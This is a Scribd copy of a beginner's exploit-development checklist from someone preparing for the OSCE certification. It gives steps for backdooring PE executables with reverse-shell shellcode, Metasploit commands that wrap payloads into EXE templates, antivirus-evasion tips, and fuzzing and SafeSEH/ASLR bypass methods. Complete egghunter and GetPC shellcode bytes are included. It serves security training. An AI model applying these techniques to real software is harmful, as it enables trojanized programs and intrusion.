0% found this document useful (0 votes)
6 views

Exploits Development Checklist

Check list of tasks to build exploits.
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
6 views

Exploits Development Checklist

Check list of tasks to build exploits.
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 6

#############################################################################

### Checklist for beginners on exploits development ###


### ###
### Author: Mateus Felipe Tymburibá Ferreira ###
### Contact: mateustymbu [at] gmail [dot] com ###
### Last update: 31/01/2012 ###
### ###
### This Checklist is a summary of my notes during my preparation for the ###
### Offensive Security Certified Expert (OSCE)certification exam ###
### ###
### This document is free: you can redistribute it and/or modify ###
### it under the terms of the GNU General Public License as published by ###
### the Free Software Foundation, either version 3 of the License, or ###
### (at your option) any later version. ###
### ###
### This document is distributed in the hope that it will be useful, ###
### but WITHOUT ANY WARRANTY; without even the implied warranty of ###
### MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ###
### GNU General Public License for more details. ###
### ###
### You should have received a copy of the GNU General Public License ###
### along with this program. If not, see <http://www.gnu.org/licenses/>. ###
### ###
#############################################################################

- Backdooring PE files:
- Find a code cave (place to put the shellcode)
- new section (doesn't always work):
- create a new PE section in the header (LordPE)
- make the new section executable (section flags)
- null bytes:
- find a sequence of null bytes (0x00) at the file
- make the section that contains these bytes executable (section flags)
- Save data about the beginning instructions:
- the 1st 5 bytes at the file's entry point
- the address of the following instruction
- Change the 1st 5 bytes to a jump to the code cave (JMP <codecave_address>)
- if 5 bytes splits some instruction, fill with NOP and copy it at the end of the code cave
- At the code cave:
- save the registers values (PUSHAD)
- save the flags values (PUSHFD)
- copy the shellcode
- avoid "waiting for single object":
- use MSF2 win32_reverse payload
- change the bytes "\x6a\xff\xff\x37" to "\x6a\x00\xff\x37"
- realign the stack (ADD ESP, xx)
- save the value of ESP after executing the PUSHFD instruction (ESP1)
- save the value of ESP after executing the last shellcode instruction (ESP2)
- xx = ESP1 - ESP2
- restore the original flags values (POPFD)
- restore the original registers values (POPAD)
- copy the original first 5 bytes (or more, if some instruction was replaced with NOP)
- jump to the instruction that follows the replaced entry point instructions (JMP <following_instruction_address>)
PS: idea to bypass anti-virus at client-side attacks -> as the AV usually identify the exploit (even when they do not identify the
shellcode), generating script codes with random variables and functions names can bypass the AV signature! See the post at: http://
funoverip.net/2011/04/100pc-anti-virus-evasion-with-metasploit-browser-exploits-from-ms11-003/

- Encoding shellcodes (Anti-virus, IDS, IPS, bad characters bypass):


- use msfencode (remember to leave some bytes before the shellcode, if available, to the decoding process. Ex: 32B)
- passing the payload as a binary input file
(msfencode -i <binary_input_file> -e <encoder> -t <output_type>)
- redirecting the msfpayload output
(msfpayload windows/shell/reverse_tcp EXITFUNC=seh R | msfencode -e x86/shikata_ga_nai -t perl)
- inserting the output into a EXE template
(msfpayload <payload> R |msfencode -e <encoder> -c <number_iterations> -t exe -x <template.exe> -o <output.exe>)
- use a manual encoder:
- Ex: MOV EAX, <shellcode_1st_instruction_address> # Save start of encoding address in EAX
XOR BYTE PTR DS:[EAX], <key> # XOR encode the instruction with the key <key>
INC EAX; # Increase EAX
CMP EAX, <shellcode_last_instruction_address> # Compare the next instruction address with the last shellcode address
JLE SHORT <XOR_encode_instruction_address> # Jump back to the XOR encoding instruction until the last shellcode address

- Fuzzing applications:
- modify SPIKE to terminate execution when it cannot send to a socket (crash?)
- download SPIKE source from http://www.immunitysec.com/resources-freesoftware.shtml
- edit the file spike.c in SPIKE/SPIKE/src:
- find the two “return 0;” string that immediately follow the line “printf(“tried to send to a closed socket!\n”);”
- replace these two “return 0;” lines with “exit(1);”
- compile the source code
- "./configure; make"
- capture and analyze the protocol packets format with Wireshark and/or checking documentation (RFC?)
- create a spike template (examples: /pentest/fuzzers/spike/src/audits/):
PS: add extra commands into the spike script to get additional terminal output from SPIKE
- s_binary("HEXA"); // binary fixed data
- s_string("STRING"); // string fixed data
- s_string_variable("DEFAULT"); // variable. "DEFAULT" when not fuzzing this variable
- s_block_start("BLOCK1"); // defines the start of block "BLOCK1"
- s_block_end("BLOCK1"); // defines the end of block "BLOCK1"
- s_blocksize_string("BLOCK1", 2); // adds a string 2 characters long to the SPIKE that represents the size of block "block1"
- s_binary_block_size_byte("BLOCK1"); // adds a 1 byte value to the SPIKE that represents the size of block "block1"
- sleep(<seconds>); // wait. Not necessary! Useful to check which variable and buffer size crashed the
application!
- s_read_packet(); // Reads and prints to screen data received from the server
- s_readline(); // Reads and prints to screen a line received from the server
- run spike (if error: cp libdlrpc.so /usr/lib) capturing the packets with wireshark (capture filter: "host xxx and tcp port yyy"):
- generic_send_tcp: connects to a target host:port over tcp and fuzz a specific packet according to a SPIKE script
- generic_send_udp: connects to a target host:port over udp and fuzz a specific packet according to a SPIKE script
- generic_send_stream_tcp: connects to a target host:port over tcp and fuzzes a list of packets
(useful for protocols such as HTTP, FTP, POP3 and others)
- generic_listen_tcp: listens on a specific tcp port. When a connection is made, it fuzzes a specific packet according to a SPIKE
script
- generic_listen_udp: listens on a specific udp port. When a connection is made, it fuzzes a specific packet according to a SPIKE
script
- syntax:
- generic_send_udp <server_ip> <service_port> <spike_template.spk> <variable_number> <string_type> [max_size]
- ex: ./generic_send_udp 192.168.1.203 69 tftp.spk 0 0 5000
- identify which variable and buffer size caused the crash
- use the "sleep" command to help visualization of the spike iterations
- check the spike/script output when it stops printing the received content or finishes execution (the service stopped answering/
sending packets)
- look at the debugger for repeated strings at the memory and at the stack
- count the size of the repeated string (in Olly, double click at the 1st address and look the offset at the last address)
- look at wireshark the first packet that didn't receive a answer from the server (compare with the string identified at Olly)
- "Edit" -> "Find Packet" -> "Up". Change for "String" mode and look for a string that is present in all server responses
- "Follow TCP Stream" on the packet next to the search indicated packet
- write a skeleton script to replicate the crash
- test with other buffer sizes and strings and choose the best option (bigger space for the shellcode, good return addresses)

- How to choose the module to look for a return instruction:


- 1st prefer the main process itself (remember to avoid 0x00 and other bad chars if the input code is read as string)
- 2nd choice is the DLLs loaded by the main process (check with Olly's SafeSEH plugin which DLL has not SafeSEH on. Prefer them!)
- 3rd choice is the system DLLs (usually at "system32" folder)
- at Olly "memory map" (Alt+M) it is possible to search for Hex string (instruction representation) on the hole memory (search, Ctrl
+L)
- check with Immunity "mona.py" plugin wich DLL was not compiled with ASLR and SafeSEH supports and has no bad chars (ex: null byte)
- !mona jmp -r esp -cm aslr=false,safeseh=false -cp nonull
- !mona findwild -s "pop r32#pop r32#retn" -cm safeseh=false,aslr=false -cp nonull
- PS: "mona" can limit the returning pointers to many criterias (avoiding bad chars!):
- "-cp asciiprint" (other: alphanum, numeric, upper, lower, uppernum, lowernum, etc)
- "-cpb '\x00\x0a\x0d'"

- Avoiding SafeSEH:
- check with Olly SafeSEH plugin wich DLL was not compiled with SafeSEH support
- to install it, just copy the "OllySSEH.dll" file to the "...\OllyDBG\Plugins\" folder
- check with Immunity "mona.py" plugin which DLL was not compiled with SafeSEH support
- !mona findwild -s "pop r32#pop r32#retn" -cm safeseh=false

- Avoiding/Bypassing ASLR:
- check with Immunity "mona.py" plugin which DLL was not compiled with ASLR support
- !mona jmp -r esp -cm aslr=false,rebase=false -cp nonull
- write down the modules base address, reboot the machine and compare with the new base address of the modules
- overwrite EIP partially (only with the less significant 2 bytes)

- Excluding "bad" characters:


- Identifying "bad" characters:
- check in Olly if any byte of the shellcode has changed (ex: 0x2e turning into 0x00)
- send to the application sequences of bytes (ex: 0x00, 0x01, 0x02, ..., 0xFF) and check in Olly
- 1st: send all possible bytes
- 2nd: send all ascii bytes
- 3rd: send all letters bytes
- use "customizable_identify_badchars.py" script (takes between 30 and 45 minutes to execute!):
- Installation:
- install Python 2.5:
- double click "python-2.5.msi" file
- add python.exe to the system path:
- "Control Panel"->"System"->"Advanced"->"Environment Variables"->"Path"->Edit
- add: ";C:\Python25;C:\Python25\Tools\Scripts"
- install Pydasm (for Python 2.5):
- double click "pydasm-1.2.win32-py2.5.exe" file
- install Paimei:
- Extract the package, go to the "installers" folder, and run the installer ("PaiMei-1.1.win32.exe").
- Remove C:\Python25\Lib\site-packages\pydbg\pydasm.pyd
- install pywin32 (for Python 2.5):
- double click "pywin32-216.win32-py2.5.exe" file
- install WMI:
- double click "WMI-1.4.6.win32.exe" file
- test it:
- python.exe
- import pydbg, wmi
- Customization: change the customization variables at the begin of the script
- use Immunity "mona" compare function: "!mona compare -f shellcode.bin"
- Avoiding "bad" characters:
- encode the shellcode with msfencode (remember to leave some bytes before the shellcode, if available, to the decoding process):
- excluding the "bad" characters (ex: msfencode -b '\x00\xff')
- some common "bad" characters:
- 0x00 - null byte (bad when the code is read as string)
- 0x0d - chariage return (\r - bad when the app ends reading after it)
- 0x0a - line feed (\n - bad when the app ends reading after it)
- 0x09 - TAB (\t - bad when the app ends reading after it)
- 0x20 - space
- 0xff - "-1" when read as a integer
- using a restrictive encoder (ex: msfencode -e x86/alpha_mixed)
- manually encode a shellcode (ex: egghunter -> small)
- PUSH the instructions to the stack and make EIP point there
- check the available opcodes according to the badchars to avoid (table of opcodes or Olly)
- use alternative instructions to get the final value of the instructions (ex: ADD, SUB, AND, PUSH, POP)
- ex: avoiding badchar > 7F. For each byte:
- reset the register (use AND twice or PUSH and POP a reseted register)
- using ADD:
- if byte <= 7F, ADD it
- if 7F < byte < FF, divide by 2, ADD them and arrange the rest, if necessary
- if byte = FF, divide by 3, ADD them and arrange the rest, if necessary
- using SUB:
- calculate x = ((FF-byte)+1)
- if x <= 7F, SUB it
- if 7F < x < FF, divide by 2, SUB them and arrange the rest, if necessary
- if x = FF, divide by 3, SUB them and arrange the rest, if necessary

- Jumping to the shellcode (possible return instructions):


(In Olly, use "Search for->Command/Sequence". In Immunity, use "!mona")
(Use Immunity "!pvefindaddr suggest" after sending a metasploit offset to get a exploit structure recommendation)
- JMP <register>
- CALL <register>
- POP <r32> (used when the EIP poitns to the SEH address)
POP <r32>
RETN
- PUSH <register>
RETN
- JMP DWORD PTR DS:[<register> + CONST]
- Staged shellcodes 2nd jumps:
- JMP <address> (Long JMP: E9 XX. <address> is converted in a 4 bytes relative JMP)
- JMP SHORT <address> (Short JMP: EB XX. <address> is converted in a 1 byte relative JMP)
- Conditional Jumps (Ex: JAE <address>. Short JMP if above or equal (C=0): 73 XX. <address> is converted in a 1 byte relative
JMP)
- put some instruction before to ensure the condition (Ex: ADD EAX, XX -> makes the carry flag C=0)
- POPAD (adds 32 bytes to ESP. opcode:\x61. can be used many times consecutively)
JMP/CALL ESP or RETN (opcodes: "\xff\xe4", "\xffd4", "\xc3")
- SUB/ADD ESP, <value> (align the stack pointer to the desired instruction)
JMP/CALL ESP or RETN (opcodes: "\xff\xe4", "\xffd4", "\xc3")
- ASCII GetPC (other examples are available at "!mona getpc -r <register>")

- code that uses floating point operations to copy EIP into ECX, decrement and jump to it
(\xD9\xEE\xD9\x74\x24\xF4\x59\xFE\xCD\xFE\xCD\xFF\xE1 -> size = 13B):

$+0 D9EE fldz ; push 0 onto the FPU stack (registers ST0-ST7) using a floating point
operation
$+2 D97424F4 fnstenv [esp-12] ; Save environment at ESP-0xC; now [ESP] = $+0
$+6 59 pop ecx ; pop the top of the stack (address of fldz) to ECX
$+7 FECD dec ch ; decrements ch (the 2nd to last byte in ECX). Results in ECX - 256
(decimal)
$+9 FECD dec ch ; decrements ch (the 2nd to last byte in ECX). Results in ECX - 256
(decimal)
$+B FFE1 jmp ecx ; jmp to ECX = fldz location ($+0) - 512 (decimal)

- EGGHUNTER (other examples are available at "corelan team" website)

(Put "bmyTbmyT" just before the shellcode. EDX is used to iterate over the memory. Size = 32B):
(\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x62\x6d\x79\x54\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7)
(PS: the egghunter overwrites 8 bytes just before the position pointed by ESP!)
- compile the EGGHUNTER generator (at windows):
- cl egghunter.c /link /debug
- wine egghunt.exe cstyle <hex_code_egg> (ex: 0x54796D62 for "Tymb" / 0x57303054 for "W00T")

loop_inc_page:
$+0 6681CAFF0F or dx,0xfff : Go to last address in page n (this could also be used to
: XOR EDX and set the counter to 00000000)
loop_inc_one:
$+5 42 inc edx : Go to first address in page n+1

loop_check:
$+6 52 push edx : Save edx which holds our current memory location
$+7 6A02 push 0x2 : Initialize the call to NtAccessCheckAndAuditAlarm
$+9 58 pop eax : Initialize the call to NtAccessCheckAndAuditAlarm
$+A CD2E int 0x2e : Perform the system call
$+C 3C05 cmp al,0x5 : Check for access violation (0xc0000005 = ACCESS_VIOLATION)
$+E 5A pop edx : Restore EDX to check later the content of pointed address

loop_check_8_valid:
$+F 74EF jz 0x0 : Go to next page if access violation was encountered

is_egg:
$+11 B8626D7954 mov eax,0x54796D62 : Load the egg (Tymb in this example)
$+16 8BFA mov edi,edx : Initializes pointer with current checked address
$+18 AF scasd : Compare EAX with doubleword at EDI and set status flags
$+19 75EA jnz loop_inc_one : If it has not matched, will increase the memory counter by one
$+1B AF scasd : If matched, check for the second part of the egg (repeated)
$+1C 75E7 jnz loop_inc_one : If it has not matched, means it found a location with half an egg
: Will increase the memory counter by one
matched:
$+1E FFE7 jmp edi : EDI points to the first byte of the shellcode!

PS: to change the initial memory position where the egghunter searches (prepend instructions):
- put a register value into EDX (MOV EDX, <register>)
- put a offset from ESP into EDX(MOV EDX, ESP; ADD/SUB EDX <offset> | POP EDX; POP EDX; ...
- put a hardcoded address into EDX (dangerous! MOV EDX, 0xaddress)

You might also like